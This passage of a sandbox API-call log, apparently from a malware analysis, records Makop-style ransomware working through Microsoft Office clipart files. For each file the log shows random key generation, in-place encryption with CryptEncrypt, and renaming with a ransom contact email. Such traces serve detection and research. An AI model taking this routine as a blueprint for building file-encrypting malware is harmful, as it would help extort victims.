0x48a0000 [0136.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.057] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.067] CloseHandle (hObject=0xf0) returned 1 [0136.067] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0136.067] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG") returned 63 [0136.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.068] GetProcessHeap () returned 0x48a0000 [0136.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.068] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0136.073] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.073] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.073] GetProcessHeap () returned 0x48a0000 [0136.073] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.073] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.073] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.074] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.074] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.074] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.074] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x423a, lpOverlapped=0x0) returned 1 [0136.076] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240, dwBufLen=0x4240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240) returned 1 [0136.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4240, lpOverlapped=0x0) returned 1 [0136.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.077] SetEndOfFile (hFile=0xf0) returned 1 [0136.084] GetProcessHeap () returned 0x48a0000 [0136.084] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.084] GetProcessHeap () returned 0x48a0000 [0136.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.085] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.086] CloseHandle (hObject=0xf0) returned 1 [0136.086] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0136.086] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF") returned 63 [0136.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.088] GetProcessHeap () returned 0x48a0000 [0136.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.089] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.089] GetProcessHeap () returned 0x48a0000 [0136.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.094] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.094] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.095] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4180, lpOverlapped=0x0) returned 1 [0136.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4180, dwBufLen=0x4180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4180) returned 1 [0136.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4180, lpOverlapped=0x0) returned 1 [0136.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.097] SetEndOfFile (hFile=0xf0) returned 1 [0136.104] GetProcessHeap () returned 0x48a0000 [0136.104] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.104] GetProcessHeap () returned 0x48a0000 [0136.104] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.104] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.106] CloseHandle (hObject=0xf0) returned 1 [0136.106] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0136.106] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF") returned 63 [0136.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.108] GetProcessHeap () returned 0x48a0000 [0136.108] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.108] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0136.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.113] GetProcessHeap () returned 0x48a0000 [0136.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.114] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.114] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.114] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2dfa, lpOverlapped=0x0) returned 1 [0136.115] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e00, dwBufLen=0x2e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e00) returned 1 [0136.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e00, lpOverlapped=0x0) returned 1 [0136.116] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.116] SetEndOfFile (hFile=0xf0) returned 1 [0136.123] GetProcessHeap () returned 0x48a0000 [0136.124] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.124] GetProcessHeap () returned 0x48a0000 [0136.124] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.124] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.125] CloseHandle (hObject=0xf0) returned 1 [0136.126] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0136.126] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF") returned 63 [0136.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.127] GetProcessHeap () returned 0x48a0000 [0136.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.127] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0136.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.131] GetProcessHeap () returned 0x48a0000 [0136.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.133] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x28be, lpOverlapped=0x0) returned 1 [0136.142] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28c0) returned 1 [0136.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x28c0, lpOverlapped=0x0) returned 1 [0136.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.143] 